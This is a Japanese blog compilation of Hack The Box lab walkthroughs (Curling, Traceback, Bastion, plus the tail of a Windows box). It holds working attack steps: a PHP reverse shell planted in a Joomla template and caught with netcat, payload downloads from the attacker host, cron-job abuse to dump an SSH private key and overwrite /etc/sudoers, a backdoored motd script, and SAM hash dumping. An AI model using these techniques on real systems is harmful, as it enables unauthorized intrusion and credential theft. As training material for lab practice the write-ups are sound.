*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/22/2019   9:05 AM             32 root.txt

psexecでも行ける。

root@kali:~/tools/impacket/examples# python3 psexec.py Administrator:'4dD!5}x/re8]FBuZ'@10.10.10.149
Impacket v0.9.22.dev1+20200629.145357.5d4ad6cc - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.149.....
[*] Found writable share ADMIN$
[*] Uploading file ETfPZfVT.exe
[*] Opening SVCManager on 10.10.10.149.....
[*] Creating service GWIA on 10.10.10.149.....
[*] Starting service GWIA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

【Hack The Box】Curling Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn 10.10.10.150
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 13:22 JST
Nmap scan report for 10.10.10.150
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.69 seconds

22(ssh)、80(http)が開いている。

ブラウザで80番へアクセス

f:id:Paichan:20200921112434p:plain Florisというユーザ名と思われるものが見つかる。Wappalyzerを確認した所、CMSにはJoomlaが使われている。
後々既知の脆弱性を探す可能性もあるのでメモっておく。

ディレクトリスキャン

root@kali:~# gobuster dir -u http://10.10.10.150 -w /usr/share/dirb/wordlists/common.txt -x txt,php -t 100
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.150
[+] Threads:        100
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
===============================================================
2020/09/20 13:28:02 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/administrator (Status: 301)
/bin (Status: 301)
/cache (Status: 301)
/components (Status: 301)
/configuration.php (Status: 200)
/images (Status: 301)
/includes (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/language (Status: 301)
/layouts (Status: 301)
/libraries (Status: 301)
/LICENSE.txt (Status: 200)
/media (Status: 301)
/modules (Status: 301)
/plugins (Status: 301)
/README.txt (Status: 200)
/secret.txt (Status: 200)
/server-status (Status: 403)
/templates (Status: 301)
/tmp (Status: 301)
/web.config.txt (Status: 200)
===============================================================
2020/09/20 13:28:44 Finished
===============================================================

いくつか気になるのが見つかる。

webページの探索

gobusterで検出されたディレクトリ、ファイルを見に行く。

/administrator

f:id:Paichan:20200921113130p:plain Joomlaの管理画面。

secret.txt

f:id:Paichan:20200921113428p:plain base64デコードしてみた。

root@kali:~# echo "Q3VybGluZzIwMTgh" | base64 -d
Curling2018!

パスワード?

Joomla管理画面の認証

ディレクトリスキャンで発見した/administratorに対し、「ユーザ名:Floris」と「パスワードCurling2018!」でログインに成功。 f:id:Paichan:20200921114101p:plain

ソースコードの改ざん

Joomla初体験のため、UIの雰囲気が分からない。webshellをアップロードしたかったが、ファイルをアップロードできる箇所が見当たらなかった。
しかし、[CONFIGURATION]→[Template]→[Styles]からソースコードの編集ができそうだ。

Styleとやらの候補は2つあったので、Protostarという方をwebshellの機能を持ったコードに編集することにする。 f:id:Paichan:20200921114540p:plain

phpのリバースシェルを実現するwebshellを持ってくる。

root@kali:~/curling# wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
root@kali:~/curling# tar -xvf php-reverse-shell-1.0.tar.gz 

ここで解凍されたphpのwebshellをコピペし、パラメータの値を自身(攻撃側)のIPアドレスに変更して保存。 f:id:Paichan:20200921114726p:plain

www-dataでのシェル奪取

攻撃側で待ち受けた状態で、以下のURLにアクセスしたら、www-userでシェルが返ってきた。 http://10.10.10.150/templates/protostar/component.php

root@kali:~/curling# nc -lvp 1234
listening on [any] 1234 ...
10.10.10.150: inverse host lookup failed: Unknown host
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.150] 57424
Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 05:08:28 up 44 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@curling:/$

user.txt取得まで

www-data@curling:/$ ls -l /home
ls -l /home
total 4
drwxr-xr-x 6 floris floris 4096 May 22  2018 floris
www-data@curling:/$ ls -l /home/floris  
ls -l /home/floris
total 12
drwxr-x--- 2 root   floris 4096 May 22  2018 admin-area
-rw-r--r-- 1 floris floris 1076 May 22  2018 password_backup
-rw-r----- 1 floris floris   33 May 22  2018 user.txt
www-data@curling:/$ cat /home/floris/password_backup
cat /home/floris/password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48                                ...H
www-data@curling:/$ 

password_backupのパーミッションが644だったので、www-userでも中身が見れた。
ローカルに持ってきて、バイナリデータに変換。

root@kali:~/curling# xxd -r password_backup data
root@kali:~/curling# file data 
data: bzip2 compressed data, block size = 900k
root@kali:~/curling# bzip2 -d data
bzip2: Can't guess original name for data -- using data.out
root@kali:~/curling# file data.out 
data.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141
root@kali:~/curling# gzip -d data.gz
root@kali:~/curling# file data
data: bzip2 compressed data, block size = 900k
root@kali:~/curling# bzip2 -d data
bzip2: Can't guess original name for data -- using data.out
root@kali:~/curling# file data.out 
data.out: POSIX tar archive (GNU)
root@kali:~/curling# tar -xvf data.out
password.txt
root@kali:~/curling# cat password.txt 
5d<wdCbdZu)|hChXll

bzip2→gzip→bzip2と解凍していくと、tar archiveが出てくる。これを展開すると、パスワードが見つかる。

www-data@curling:/$ su floris
su floris
Password: 5d<wdCbdZu)|hChXll

floris@curling:/$ cat /home/floris/user.txt
cat /home/floris/user.txt
65XXXXXXXXXXXXXXXXXXXX

権限昇格のための情報収集

floris@curling:/$ sudo -l
sudo -l
[sudo] password for floris: 5d<wdCbdZu)|hChXll              

Sorry, user floris may not run sudo on curling.

sudoの権限はない。

floris@curling:/$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/snap/core/4486/bin/mount
/snap/core/4486/bin/ping
/snap/core/4486/bin/ping6
/snap/core/4486/bin/su
/snap/core/4486/bin/umount
/snap/core/4486/usr/bin/chfn
/snap/core/4486/usr/bin/chsh
/snap/core/4486/usr/bin/gpasswd
/snap/core/4486/usr/bin/newgrp
/snap/core/4486/usr/bin/passwd
/snap/core/4486/usr/bin/sudo
/snap/core/4486/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/4486/usr/lib/openssh/ssh-keysign
/snap/core/4486/usr/lib/snapd/snap-confine
/snap/core/4486/usr/sbin/pppd
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/bin/umount
/bin/fusermount
/bin/su
/bin/ntfs-3g
/bin/ping
/bin/mount
floris@curli

SUIDが設定されているファイルで使えそうなものもなさそう。

floris@curling:/$ uname -a
uname -a
Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

カーネルのバージョンだけ、とりあえず調べておいた。
cronで実行されているプロセスを見るためにpspyを攻撃側から持ってくる。

攻撃側環境でpythonで待ち受けて・・・

root@kali:~/tools/pspy# python -m SimpleHTTPServer 8080

wgetでとりに行き、実行。

floris@curling:/tmp$ wget http://10.10.14.14:8080/pspy64
wget http://10.10.14.14:8080/pspy64
--2020-09-20 08:33:53--  http://10.10.14.14:8080/pspy64
Connecting to 10.10.14.14:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================>]   2.94M  1.39MB/s    in 2.1s    

2020-09-20 08:33:56 (1.39 MB/s) - ‘pspy64’ saved [3078592/3078592]
floris@curling:/tmp$ chmod +x pspy64
chmod +x pspy64
floris@curling:/tmp$ ./pspy64
./pspy64
(snip)
2020/09/20 08:35:20 CMD: UID=0    PID=1      | /sbin/init maybe-ubiquity 
2020/09/20 08:36:01 CMD: UID=0    PID=16186  | sleep 1 
2020/09/20 08:36:01 CMD: UID=0    PID=16185  | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report 
2020/09/20 08:36:01 CMD: UID=0    PID=16184  | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input 
2020/09/20 08:36:01 CMD: UID=0    PID=16182  | /usr/sbin/CRON -f 
2020/09/20 08:36:01 CMD: UID=0    PID=16181  | /usr/sbin/CRON -f 
2020/09/20 08:36:01 CMD: UID=0    PID=16187  | curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report 
(snip)

curl/home/floris/admin-area/inputをコンフィグファイルとし、そのレスポンスを/home/floris/admin-area/reportに出力しているようだ。
root権限で実行されているため、/home/floris/admin-area/inputをうまく書き換えれば、root.txtが/home/floris/admin-area/reportに出力できそうだ。

/admin-area配下のファイルの確認

floris@curling:~/admin-area$ ls
ls
input  report
floris@curling:~/admin-area$ cat input
cat input
url = "http://127.0.0.1"
floris@curling:~/admin-area$ cat report
(snip) 

inputには、curlの引数となるurlの記載がある。これをroot.txtに置き換える。

root.txt取得まで

floris@curling:~/admin-area$ echo 'url = "file:///root/root.txt"' > input 
floris@curling:~/admin-area$ cat input 
url = "file:///root/root.txt"
floris@curling:~/admin-area$ cat report 
82XXXXXXXXXXXXXXXX

おまけ(walkthroughを見て、こんなことをやっている人もいた)

秘密鍵の取得

floris@curling:~/admin-area$ echo 'url = "file:///etc/ssh/ssh_host_rsa_key"' > input
floris@curling:~/admin-area$ cat report 
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAxrGrd9mhiR027tIEFPRWCDJTKhf7osrU2epbFvhCKHb5T6eg
ruVR37NohBXeZ359LPve6k3ydufJX+xpN6x61C7wq1In9sE4SHlt5uH0uY+jtmT4
79BpeYNNkyLUpJcEJoyX8h9CkeW9Q/Wxgl0FdxpufOQw/MGazqU8Q4xgp5gcmKB4
rXxurGtSwu0nJG/IPSpuNH73yjz1jB4M1IVwt4N8F8o113gcmb4Y2wALjr+zCnWu
jI3jVB+9YZIkEZE8GfKqmPX2ww50ijh3ZAtknLPvLXKc/ACHpHP4Zg0p/kCm7Pt4
ldBS6FvUzj5k/Mc+OXrZ6lug4YZXKzu2hY7t9wIDAQABAoIBAHhKxnHH63k0m7ZY
pan+BzvtI9ZfMLRtMhJARSeR45PV+7hS1wAry7awSn11M/HabXRXhKy7xihgydTu
LwFKxg5B4OkH0zQb5LRT98qJT/0rzkS1utSNi93KNaP3uV9wIk4oXjFy5X2o5j4H
uJEhOhbShMPN7y6HE+85sFOA4F91sLCz6ImF5pzQjDKQT21NESuYCjuxfHdStn4t
TiL01PbTRWnBl4fe33nfqCT+bMUlyx81xbmUnNunBp9b+qoSRgsEqJdiKgCKd399
PgUBGtB1vyBL6Jmoqhtpkm2CfpDmKj/2CedZS32BsDYARh3lMiStxfEz58IO9ECm
BtpmvlECgYEA+JaYujg4sQeT7wuONF6mKo0Y4/7wMGmiKAajtp5Ojptrz7mg70Js
6cDxdjkLMq81iGpuXNKaD06CQT0dqLzZC6LMmGSVErp8l2T8KI9FRT9vlES20s50
loPO1TuhZjhQSvzOxx84KF7s19VqOedlkbUJ+v7LIYkrS/ChloXu428CgYEAzJ4+
oWUgBWZJhvAGBOLbh8j6jVplA2pW+sH+UaRaGW0Bumny/gnKuhw/rr0xiykQcH6w
9vmtfA1iXnd6DL3ZtQ3gz3HHO0Lmc10ROVZtloSgrk8GYhbGhaQ354JRhGD3G2jv
yu8D30LvzmIkruy2QRWP5Rn4DCZKCLwJLOFwOfkCgYAJCvFjVMg7KFtpRrJVlVvW
EGvnX069dBpB+nvaGMgix+SUGdyQ14m+txYRhuGxZk48OCLrnX2dMO3sEZ0SlkwO
8E0g/geuNrpxh2rkztFmQ3h7nERKRthW4VSUzSaB4WqKT8f11lzkmw9iipDiqlg3
hK5oQvyAq8y3Znl6UETwYQKBgGluzKTK/6Hon9BY0zEnV6jyxS+auVv2KlVRKmMV
BZv+UBqmxx9hGkWlkqbOM74Z7a+ZiEPqSRsXpm04sPnpxUkGmqUpYlhF04r0FJDv
2M3rDwRiEc7vH2HzSR8QRkKo2AsWmiB94gfjbL9yUKaVsB9/JcMOC4LvI8y2Xx/y
Faq5AoGAIhRirESXCfGk/UmklDq95IjEP9RSMBIupANg3XfAKM6+l10FL/6KpvVb
WVow0KvgoP8ioOXEGTgOzDINkzhlNezSTWFhjbz/ngLXVWIPD5PwkMrIwSYTvN3f
6HdAhsrnvCgihygg/IAJJAo8yOA1iqwGp+L+25HS6GdeYLYMuxo=
-----END RSA PRIVATE KEY-----

sudo実行権限を付与

floris@curling:~/admin-area$ echo ' floris ALL=(ALL:ALL) ALL' > my-sudoers
floris@curling:~/admin-area$ echo -e 'url = "file:///home/floris/my-sudoers"\noutput = "/etc/sudoers"' > input
floris@curling:~/admin-area$ sudo su -
[sudo] password for floris: 
root@curling:~# whoami
root

【Hack The Box】Traceback Walkthrough

はじめに

  • マシン名:Traceback
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.181

ポートスキャン

# nmap -sC -sV -Pn 10.10.10.181

f:id:Paichan:20200914220905p:plain 22(ssh)、80(http)が開いている。

ブラウザで80番へアクセス

ブラウザでアクセス後、ソースを見てみると、コメントで以下が書かれていた。
<!--Some of the best web shells that you might need ;)--> f:id:Paichan:20200914221032p:plain

webshellの検索

上記コメントを検索してみると、以下のページが見つかる。このマシンの作者(Xh4h)のgithubのページだ。 github.com

このページにあるwebshellが存在することが予想できるため、以下のようにwebshellという名前でワードリストを作成した。

root@kali:~/traceback# cat websehll 
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

ディレクトリスキャン

作成したワードファイルを使ってディレクトリスキャン。

# gobuster dir -u http://10.10.10.181 -w websehll

f:id:Paichan:20200914221619p:plain /smevk.phpを発見。

webshellの操作

/smevk.phpにアクセスすると、認証情報を求められるが、githubページのソースに以下のような記載があり、admin/adminでログインできた。

$UserName = "admin"; //Your UserName here.
auth_pass = "admin"; //Your Password.

smevk.phpは以下のような画面。 f:id:Paichan:20200914222049p:plain webadminというユーザの権限でシェルが操作できる。
/home/webadmin配下にはuser.txtはなかったが/homeにはもう一人のユーザsysadminがいた。

このwebshellが操作しにくいので、ssh接続できるように攻撃者側の公開鍵(id_rsa.pub)を/home/webadmin/.ssh/authorized_keysに追記する。

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOAXInxQYyXzFm+8GCb7ipAiB4tDz2iYYgGGvvBD48mJPrVdH8FwkW7dE9Oszg4FSN57bo44mg3thNOZ1dCQyjk+V1KoUeY9Vf8jNcNs1mBpBE8MQ+F/FRtWTZGk36x+mdSw/iNpqzV6XWLN5X+MDQ2nwagq/yvHD70HxE84WhlZ/5D40Xanwu9NBXncn9itqc+u9ta76NNyuGg2MBzmJxfwsSAG4v/sMP4lhCN7ez+vdObhqzImzScc6Oe1Typoood3fPNMCgX8mhAO+n/uQSMGslhLllON/Dxa48wp85F3qTZ7GhSGtTQn3iFzKal+o3mrybnJOJ9tiS2JUt5D/BEI6+YPD3fhnAfnC2vCiilijUzG89giTZIjgESNwlNShZrbTui8VS2VJml7/tFO003ifaxGcHPq0jJuA/x3bj/TfvUw1sJRqzbkF/sDSGpWZWvsLCi/JNVdEmEY/2gRC+c3Kjo3gqHq8ErfzezayhCgg1Q0S3Y/uMujwFqLcd1F8= root@kali" >> authorized_keys

追記できたことを確認。 f:id:Paichan:20200914222705p:plain

userシェル取得まで

公開鍵認証方式でターゲットマシンにssh接続する。

ssh webadmin@10.10.10.181 -i /root/.ssh/id_rsa

f:id:Paichan:20200914223215p:plain メッセージが表示された後、接続に成功した。

/home/webadmin配下にあるnote.txtを見ると、luaを練習するためのツールを置きっぱなしにしてしまったと書かれている。

webadmin@traceback:~$ cat note.txt 
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

続いて、sudoの権限を確認すると、パスワードなしで/home/sysadmin/luvitとやらが実行できそうだったので、sysadminで実行してみた。

$ sudo -l
$ sudo -u sysadmin /home/sysadmin/luvit

f:id:Paichan:20200914223704p:plain インタプリタのようだ。上述のnote.txtにも書かれていたが、luaインタプリタだろう。

luaのことは全く分からなかったので、以下を参考にした。 https://gtfobins.github.io/gtfobins/lua/

インタプリタ上でos.execute("/bin/bash")を実行したら、sysadminの権限でbashのシェルが使えるようになった。 これでuser.txt取得完了。

権限昇格のための情報収集

sudo実行権限を確認しようとしたが、パスワードが求められたためだめ。
sshアクセスした際にメッセージが表示されたいたことから、sshアクセス時に何らかのスクリプトが実行されていると考え、
pspyを使うことにする。OSは64bitだったので、pspy64を攻撃者側環境から持ってくる。

攻撃者環境でpythonSimpleHTTPServerで待ち受けた状態で、以下を実行する。

$ http://10.10.14.13:8888/pspy64
$ chmod +x pspy64
$ ./pspy64

別シェルからwebadminでssh接続し、pspyの出力をモニタリングする。root権限で青字のプロセスが実行されている。 f:id:Paichan:20200915211330p:plain

/etc/update-motd.d配下のファイルにアクセスしているようなので、ここを見に行く。 f:id:Paichan:20200915211932p:plain

00-headerというファイル末尾に、ssh接続した際に表示されたメッセージの記載がある。つまり、ssh接続するとroot権限でこのスクリプトが実行されるため、ここにroot.txtを読み出すようなコマンドを書けば良さそうだ。

root.txt取得まで

/etc/update-motd.d/00-headerの末尾に以下を追加した。

$ echo "cat /root/root.txt" >> /etc/update-motd.d/00-header

追加後、別シェルでssh接続するとroot.txtが表示された。 f:id:Paichan:20200915212153p:plain

【Hack The Box】Bastion Walkthrough

はじめに

  • マシン名:Bastion
  • OS:Windows
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.134

ポートスキャン

# nmap -sC -sV -Pn 10.10.10.134

f:id:Paichan:20200913225840p:plain 22(ssh)、135(msrpc)、139(netbios-ssn)、445(microsoft-ds)が開いている。
445はguestユーザでアクセスができそうだ。

445ポートにNSE実行

445ポートにNSE(vuln)を実行。

# nmap --script vuln -p 445 10.10.10.134

f:id:Paichan:20200913230109p:plain 何も検知されない。

共有フォルダのアクセス権限の確認

# smbclient -L 10.10.10.134 -U guest

f:id:Paichan:20200913230239p:plain $がついているフォルダにアクセスするには、Windows側でユーザとして登録されており、かつパスワードが設定されていなければならない。
$がついていないものは手動で共有設定にしたものであり、今回はBackupsにアクセスできそうということが分かる。

smbmapだと以下のように出力される。

# smbmap -H 10.10.10.134 -u guest

f:id:Paichan:20200913230529p:plain ※user名指定しないと、実行失敗。かつ、ユーザ名は適当でOK。

Backupsフォルダのマウント

smbclientで接続しても良いが、linuxの標準コマンドを使いたいので、マウントする。

# mount -t cifs -o username=guest //10.10.10.134/Backups /mnt/Backups

f:id:Paichan:20200913230909p:plain /mnt/Backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351に拡張子がvhdのサイズがでかいファイルがある。 f:id:Paichan:20200913231055p:plain

このバックアップファイルはハードディスクの完全なバックアップである、システムイメージと呼ばれるもの。
参考:Windows 10 バックアップを作成する

vhdのマウント

vhdのマウント方法は以下を参考にした。
How to mount a VHD file on linux – Exotic Security

linux環境でvhdファイルをマウントするguestmountというツールがあるらしい。 以下でインストールする。

# apt install libguestfs-tools

マウントする。

# guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -i --ro /mnt/vhd/
  -a|--add image       Add image
  -i|--inspector       Automatically mount filesystems
  -r|--ro              Mount read-only

※5分くらいかかってマウント完了。

マウントしたvhdの調査

f:id:Paichan:20200913231722p:plain L4mpjeというユーザの存在が確認できる。ポートスキャン結果より、sshが開いているため、L4mpjeのパスワードを調べたい。
samdump2を使ってパスワードハッシュをダンプするために、レジストリハイブファイルのSAMSYSTEMを使う。 f:id:Paichan:20200913232229p:plain

samdump2を実行。

# samdump2 SYSTEM SAM

f:id:Paichan:20200913232449p:plain L4mpjeのパスワードハッシュが取得できた。一番下の行だけ抽出し、hash.txtとする。左がLMハッシュ、右がNTLMハッシュ。
johnでは平文を取得できなかったため、以下のサービスを使った。
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

f:id:Paichan:20200913232755p:plain パスワードbureaulampjeを取得。
※このページでもLMハッシュはからは平文を取得できなかった。

userシェル獲得まで

ユーザ名:L4mpje、パスワード:bureaulampjeでsshログイン。

# ssh L4mpje@10.10.10.134

デスクトップにあるuser.txt見つけた。 f:id:Paichan:20200913233039p:plain

権限昇格のための情報収集

windows-exploit-suggesterを実行しるために、引数として必要なsysteminfoの実行結果の取得を試みたが、systeminfoコマンドは実行できず。 f:id:Paichan:20200913233432p:plain

続いて、アプリケーションに依存する脆弱性を探すために、何がインストールされているかをprogram filesに見に行く。 program files配下にmRemoteNGというフォルダを発見した。リモート接続ツールのようだ。デフォルト以外でインストールされたアプリケーションはこれくらいだったので、mRemoteNGに注目してみる。 f:id:Paichan:20200913234116p:plain

アプリケーションやプログラムの設定を保存しいるRoamingフォルダを見に行く。ここに、多数のバックアップファイル共にconfCons.xmlという名前のファイルが見つかった。 f:id:Paichan:20200913235421p:plain

中身を確認すると、何らかの方法でエンコード、もしくはハッシュ化されたAdministratorのパスワードが見つかる。 f:id:Paichan:20200913235741p:plain

Administratorの平文パスワード取得

見つけた文字列は以下。
aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
base64に見えたが、文字数も87文字だし違うようだ。
mRemoteng decrypt passwordで検索すると、以下のサイトが見つかる。これを使ってみる。 github.com

# git clone https://github.com/haseebT/mRemoteNG-Decrypt
# cd mRemoteNG-Decrypt/
# python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

f:id:Paichan:20200914000624p:plain 抽出成功。パスワードはthXLHM96BeKL0ER2とわかる。

root(Administrator)シェル獲得まで

見つけたパスワードでssh接続して、Administratorのシェルをゲットして終了。

# ssh Administrator@10.10.10.134